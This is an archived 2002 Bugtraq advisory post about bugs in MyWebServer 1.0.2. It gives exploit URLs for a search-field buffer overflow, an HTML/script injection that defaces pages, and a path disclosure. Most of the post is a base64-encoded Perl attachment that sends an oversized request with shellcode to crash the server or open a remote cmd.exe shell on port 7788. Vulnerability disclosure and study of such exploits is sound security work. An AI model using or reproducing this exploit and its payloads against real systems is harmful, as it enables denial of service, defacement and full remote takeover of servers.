[26669] in bugtraq
new bugs in MyWebServer
daemon@ATHENA.MIT.EDU (D4rkGr3y)
Wed Aug 14 17:41:44 2002
Date: Wed, 14 Aug 2002 23:40:55 +0400
From: D4rkGr3y <grey_1999@mail.ru>
Reply-To: D4rkGr3y <grey_1999@mail.ru>
Message-ID: <3812801217.20020814234055@mail.ru>
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="----------24D919E39CEEC7B"
------------24D919E39CEEC7B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi.
Bugs founded in MyWebServer v.1.0.2.
You can download it from www.mywebserver.org.
1. Buffer overflow in MWS Search Engine.
Remote attacker can crash web-server (and run shell-code) by sending keyword with a large size.
Xsploit: http://vuln_host/MWS/HandleSearch.html?searchTarget=[990b_of_any_data]&B1=Submit
Fix: Turn off "Search Page" in MWS properties (www.vuln_host.com/admin/ServerProperties.html)
2. Remote JS/VB/HTML code execution.
Xsploit: http://vuln_host/[223b_of_any_data]<font%20size=50>DEFACED<!--//--
3. Real patch attack.
Xsploit: http://vuln_host/[not_exists_dir]
Then in the document source we can find patch from \ to wwwroot.
Advisoryed by D4rkGr3y (www.dhgroup.org)
Full information about all bugs (6) in MWS u can find here:
http://www.dhgroup.org/txt/
Only for Russian users.
P.S. Remote DoS\root exploit for MWS attached.
------------24D919E39CEEC7B
Content-Type: application/octet-stream; name="MWS_exp.pl"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="MWS_exp.pl"
IyEvdXNyL2Jpbi9wZXJsDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIw0KIyAgICAgICBSZW1vdGUgTVdTIERvUy9yb290IGV4cGxvaXQgDQojVnVsbmVyYWJs
ZTogTXlXZWJTZXJ2ZXIgdi4xLjAuMiBhbmQgbG93ZXINCiNTdXBwb3J0OiB3d3cubXl3ZWJzZXJ2
ZXIub3JnDQojQnVnOiBidWZmZXIgb3ZlcmZsb3cgaW4gZ2V0LXJlcXVlc3RzLg0KI1VzYWdlOiBw
ZXJsIG13cy5wbCBbLWQgb3IgLXJdIFtob3N0XSBbcG9ydF0NCiMtZCAtIERvUyAoMTAwJSB3b3Jr
KQ0KIy1yIC0gRG9TIGFuZCBydW5uaW5nIHNoZWxsY29kZQ0KI1Bvc3NpYmUgc29tZSBwcm9ibGVt
cyB3aXRoIGl0Li4uIGlmIHNoZWxsY29kZSANCiNkb2Vzbid0IHdvcmsgY29ycmVjdGx5LCB0cnkg
YW5vdGhlciBvbmUuDQojQnVmZmVyIHNpemUgOTg5Yi4NCiNBdXRob3I6IEQ0cmtHcjN5DQojIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KdXNlIElPOjpTb2Nr
ZXQ7DQokc2hlbGxjb2RlID0gIi9hYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYVx4OTBceGViXHgwM1x4NWRc
eGViXHgwNVx4ZThceGY4XHhmZlx4ZmZceGZmXHg4M1x4YzVceDE1XHg5MFx4OTBceDkwXHg4Ylx4
YzVceDMzXHhjOVx4NjZceGI5XHgxMFx4MDNceDUwXHg4MFx4MzBceDk3XHg0MFx4ZTJceGZhXHg3
ZVx4OGVceDk1XHg5N1x4OTdceGNkXHgxY1x4NGRceDE0XHg3Y1x4OTBceGZkXHg2OFx4YzRceGYz
XHgzNlx4OTdceDk3XHg5N1x4OTdceGM3XHhmM1x4MWVceGIyXHg5N1x4OTdceDk3XHg5N1x4YTRc
eDRjXHgyY1x4OTdceDk3XHg3N1x4ZTBceDdmXHg0Ylx4OTZceDk3XHg5N1x4MTZceDZjXHg5N1x4
OTdceDY4XHgyOFx4OThceDE0XHg1OVx4OTZceDk3XHg5N1x4MTZceDU0XHg5N1x4OTdceDk2XHg5
N1x4ZjFceDE2XHhhY1x4ZGFceGNkXHhlMlx4NzBceGE0XHg1N1x4MWNceGQ0XHhhYlx4OTRceDU0
XHhmMVx4MTZceGFmXHhjN1x4ZDJceGUyXHg0ZVx4MTRceDU3XHhlZlx4MWNceGE3XHg5NFx4NjRc
eDFjXHhkOVx4OWJceDk0XHg1Y1x4MTZceGFlXHhkY1x4ZDJceGM1XHhkOVx4ZTJceDUyXHgxNlx4
ZWVceDkzXHhkMlx4ZGJceGE0XHhhNVx4ZTJceDJiXHhhNFx4NjhceDFjXHhkMVx4YjdceDk0XHg1
NFx4MWNceDVjXHg5NFx4OWZceDE2XHhhZVx4ZDBceGYyXHhlM1x4YzdceGUyXHg5ZVx4MTZceGVl
XHg5M1x4ZTVceGY4XHhmNFx4ZDZceGUzXHg5MVx4ZDBceDE0XHg1N1x4OTNceDdjXHg3Mlx4OTRc
eDY4XHg5NFx4NmNceDFjXHhjMVx4YjNceDk0XHg2ZFx4YTRceDQ1XHhmMVx4MWNceDgwXHgxY1x4
NmRceDFjXHhkMVx4ODdceGRmXHg5NFx4NmZceGE0XHg1ZVx4MWNceDU4XHg5NFx4NWVceDk0XHg1
ZVx4OTRceGQ5XHg4Ylx4OTRceDVjXHgxY1x4YWVceDk0XHg2Y1x4N2VceGZlXHg5Nlx4OTdceDk3
XHhjOVx4MTBceDYwXHgxY1x4NDBceGE0XHg1N1x4NjBceDQ3XHgxY1x4NWZceDY1XHgzOFx4MWVc
eGE1XHgxYVx4ZDVceDlmXHhjNVx4YzdceGM0XHg2OFx4ODVceGNkXHgxZVx4ZDVceDkzXHgxYVx4
ZTVceDgyXHhjNVx4YzFceDY4XHhjNVx4OTNceGNkXHhhNFx4NTdceDNiXHgxM1x4NTdceGUyXHg2
ZVx4YTRceDVlXHgxZFx4OTlceDEzXHg1ZVx4ZTNceDllXHhjNVx4YzFceGM0XHg2OFx4ODVceGNk
XHgzY1x4NzVceDdmXHhkMVx4YzVceGMxXHg2OFx4YzVceDkzXHhjZFx4MWNceDRmXHhhNFx4NTdc
eDNiXHgxM1x4NTdceGUyXHg2ZVx4YTRceDVlXHgxZFx4OTlceDE3XHg2ZVx4OTVceGUzXHg5ZVx4
YzVceGMxXHhjNFx4NjhceDg1XHhjZFx4M2NceDc1XHg3MFx4YTRceDU3XHhjN1x4ZDdceGM3XHhk
N1x4YzdceDY4XHhjMFx4N2ZceDA0XHhmZFx4ODdceGMxXHhjNFx4NjhceGMwXHg3Ylx4ZmRceDk1
XHhjNFx4NjhceGMwXHg2N1x4YTRceDU3XHhjMFx4YzdceDI3XHg5Ylx4M2NceGNmXHgzY1x4ZDdc
eDNjXHhjOFx4ZGZceGM3XHhjMFx4YzFceDNhXHhjMVx4NjhceGMwXHg1N1x4ZGZceGM3XHhjMFx4
M2FceGMxXHgzYVx4YzFceDY4XHhjMFx4NTdceGRmXHgyN1x4ZDNceDFlXHg5MFx4YzBceDY4XHhj
MFx4NTNceGE0XHg1N1x4MWNceGQxXHg2M1x4MWVceGQwXHhhYlx4MWVceGQwXHhkN1x4MWNceDkx
XHgxZVx4ZDBceGFmXHhhNFx4NTdceGYxXHgyZlx4OTZceDk2XHgxZVx4ZDBceGJiXHhjMFx4YzBc
eGE0XHg1N1x4YzdceGM3XHhjN1x4ZDdceGM3XHhkZlx4YzdceGM3XHgzYVx4YzFceGE0XHg1N1x4
YzdceDY4XHhjMFx4NWZceDY4XHhlMVx4NjdceDY4XHhjMFx4NWJceDY4XHhlMVx4NmJceDY4XHhj
MFx4NWJceGRmXHhjN1x4YzdceGM0XHg2OFx4YzBceDYzXHgxY1x4NGZceGE0XHg1N1x4MjNceDkz
XHhjN1x4NTZceDdmXHg5M1x4YzdceDY4XHhjMFx4NDNceDFjXHg2N1x4YTRceDU3XHgxY1x4NWZc
eDIyXHg5M1x4YzdceGM3XHhjMFx4YzZceGMxXHg2OFx4ZTBceDNmXHg2OFx4YzBceDQ3XHgxNFx4
YThceDk2XHhlYlx4YjVceGE0XHg1N1x4YzdceGMwXHg2OFx4YTBceGMxXHg2OFx4ZTBceDNmXHg2
OFx4YzBceDRiXHg5Y1x4NTdceGUzXHhiOFx4YTRceDU3XHhjN1x4NjhceGEwXHhjMVx4YzRceDY4
XHhjMFx4NmZceGZkXHhjN1x4NjhceGMwXHg3N1x4N2NceDVmXHhhNFx4NTdceGM3XHgyM1x4OTNc
eGM3XHhjMVx4YzRceDY4XHhjMFx4NmJceGMwXHhhNFx4NWVceGM2XHhjN1x4YzFceDY4XHhlMFx4
M2JceDY4XHhjMFx4NGZceGZkXHhjN1x4NjhceGMwXHg3N1x4N2NceDNkXHhjN1x4NjhceGMwXHg3
M1x4N2NceDY5XHhjZlx4YzdceDFlXHhkNVx4NjVceDU0XHgxY1x4ZDNceGIzXHg5Ylx4OTJceDJm
XHg5N1x4OTdceDk3XHg1MFx4OTdceGVmXHhjMVx4YTNceDg1XHhhNFx4NTdceDU0XHg3Y1x4N2Jc
eDdmXHg3NVx4NmFceDY4XHg2OFx4N2ZceDA1XHg2OVx4NjhceDY4XHhkY1x4YzFceDcwXHhlMFx4
YjRceDE3XHg3MFx4ZTBceGRiXHhmOFx4ZjZceGYzXHhkYlx4ZmVceGY1XHhlNVx4ZjZceGU1XHhl
ZVx4ZDZceDk3XHhkY1x4ZDJceGM1XHhkOVx4ZDJceGRiXHhhNFx4YTVceDk3XHhkNFx4ZTVceGYy
XHhmNlx4ZTNceGYyXHhjN1x4ZmVceGU3XHhmMlx4OTdceGQwXHhmMlx4ZTNceGM0XHhlM1x4ZjZc
eGU1XHhlM1x4ZTJceGU3XHhkZVx4ZjlceGYxXHhmOFx4ZDZceDk3XHhkNFx4ZTVceGYyXHhmNlx4
ZTNceGYyXHhjN1x4ZTVceGY4XHhmNFx4ZjJceGU0XHhlNFx4ZDZceDk3XHhkNFx4ZmJceGY4XHhl
NFx4ZjJceGRmXHhmNlx4ZjlceGYzXHhmYlx4ZjJceDk3XHhjN1x4ZjJceGYyXHhmY1x4ZDlceGY2
XHhmYVx4ZjJceGYzXHhjN1x4ZmVceGU3XHhmMlx4OTdceGQwXHhmYlx4ZjhceGY1XHhmNlx4ZmJc
eGQ2XHhmYlx4ZmJceGY4XHhmNFx4OTdceGMwXHhlNVx4ZmVceGUzXHhmMlx4ZDFceGZlXHhmYlx4
ZjJceDk3XHhjNVx4ZjJceGY2XHhmM1x4ZDFceGZlXHhmYlx4ZjJceDk3XHhjNFx4ZmJceGYyXHhm
Mlx4ZTdceDk3XHhkMlx4ZWZceGZlXHhlM1x4YzdceGU1XHhmOFx4ZjRceGYyXHhlNFx4ZTRceDk3
XHg5N1x4YzBceGM0XHhkOFx4ZDRceGRjXHhhNFx4YTVceDk3XHhlNFx4ZjhceGY0XHhmY1x4ZjJc
eGUzXHg5N1x4ZjVceGZlXHhmOVx4ZjNceDk3XHhmYlx4ZmVceGU0XHhlM1x4ZjJceGY5XHg5N1x4
ZjZceGY0XHhmNFx4ZjJceGU3XHhlM1x4OTdceGU0XHhmMlx4ZjlceGYzXHg5N1x4ZTVceGYyXHhm
NFx4ZTFceDk3XHg5NVx4OTdceDg5XHhmYlx4OTdceDk3XHg5N1x4OTdceDk3XHg5N1x4OTdceDk3
XHg5N1x4OTdceDk3XHg5N1x4ZjRceGZhXHhmM1x4YjlceGYyXHhlZlx4ZjJceDk3XHg2OFx4Njhc
eDY4XHg2OCI7DQokZG9zID0gIi9hYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFh
YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWEiOw0KJHBhcmFt
ID0gJEFSR1ZbMF07DQokaG9zdCA9ICRBUkdWWzFdOw0KJHBvcnQgPSAkQVJHVlsyXTsNCnByaW50
ICJcblxuIjsNCnByaW50ICJbRGFtYWdlSGFja2luZ0dyb3VwfHd3dy5kaGdyb3VwLm9yZ11cbiI7
DQpwcmludCAiI015V2ViU2VydmVyIHYuMS4wLjIgLSB3d3cubXl3ZWJzZXJ2ZXIub3JnXG4iOw0K
cHJpbnQgIiNSZW1vdGUgRG9TL3Jvb3QgeHNwbG9pdCAob3BlbnMgY21kLmV4ZSBzaGVsbCBvbiBw
b3J0IDc3ODgpXG4iOw0KcHJpbnQgIiNTaGVsbGNvZGUgd3JpdGVuIGJ5IGlzbm9cbiI7DQppZiAo
ZGVmaW5lZCAkcGFyYW0gJiYgZGVmaW5lZCAkaG9zdCAmJiBkZWZpbmVkICRwb3J0KSB7DQogIGlm
ICgkcGFyYW0gZXEgIi1kIikgew0KICAgIERvUygpOw0KICB9IGVsc2Ugew0KICAgIGdldF9yb290
KCk7DQogIH0NCn0gZWxzZSB7DQogIHByaW50ICJFcnJvciBpbiBQYXJhbXMuXG4iOw0KICBwcmlu
dCAiVXNhZ2U6IHBlcmwgbXdzLnBsIFstZCBvciAtcl0gW2hvc3RdIFtwb3J0XVxuIjsNCiAgcHJp
bnQgIi1kICAtICBraWxsIHdlYiBzZXJ2ZXJcbiI7DQogIGRpZSAiLXIgIC0gIG9wZW4gc2hlbGwg
b24gcG9ydCA3Nzg4IChvbmx5IE1FL1hQKVxuIjsNCn0NCg0Kc3ViIERvUyB7DQogcHJpbnQgIkNv
bm5lY3RpbmcgdG8gJyRob3N0JyAuLi4gIjsNCiAkc29ja2V0ID0gSU86OlNvY2tldDo6SU5FVC0+
bmV3KFBlZXJBZGRyID0+ICRob3N0LCBQZWVyUG9ydCA9PiAkcG9ydCwgUHJvdG8gPT4gInRjcCIs
IFR5cGUgPT4gU09DS19TVFJFQU0pDQogb3IgZGllICJDb3VsZG4ndCBjb25uZWN0LlxuIjsNCiBw
cmludCAiQ29ubmVjdGVkLlxuIjsNCiBwcmludCAiQXR0YWNraW5nIHRhcmdldCAuLi4gIjsNCiBw
cmludCAkc29ja2V0ICJHRVQgJGRvcyBIVFRQLzEuMFxuXG4iOw0KIHByaW50ICJDb21wbGV0ZS5c
biI7DQogcHJpbnQgIiRob3N0IGlzIGRlYWQuXG4iOw0KIGNsb3NlKCRzb2NrZXQpOw0KIHJldHVy
bjsNCn0NCg0Kc3ViIGdldF9yb290IHsNCiBwcmludCAiQ29ubmVjdGluZyB0byAnJGhvc3QnIC4u
LiI7DQogJHNvY2tldCA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdCwg
UGVlclBvcnQgPT4gJHBvcnQsIFByb3RvID0+ICJ0Y3AiLCBUeXBlID0+IFNPQ0tfU1RSRUFNKQ0K
IG9yIGRpZSAiQ291bGRuJ3QgY29ubmVjdC5cbiI7DQogcHJpbnQgIkNvbm5lY3RlZC5cbiI7DQog
cHJpbnQgIlJ1bm5pbmcgc2hlbGxjb2RlIC4uLiAiOw0KIHByaW50ICRzb2NrZXQgIkdFVCAkc2hl
bGxjb2RlIEhUVFAvMS4wXG5cbiI7DQogcHJpbnQgIkNvbXBsZXRlLlxuIjsNCiBwcmludCAiTm93
IHR5cGUgJ3RlbG5ldCAkaG9zdCA3Nzg4JyBhbmQgaGF2ZSBhIG5pY2UgZGF5IDopXG4iOw0KIGNs
b3NlKCRzb2NrZXQpOw0KIHJldHVybjsNCn0=
------------24D919E39CEEC7B--
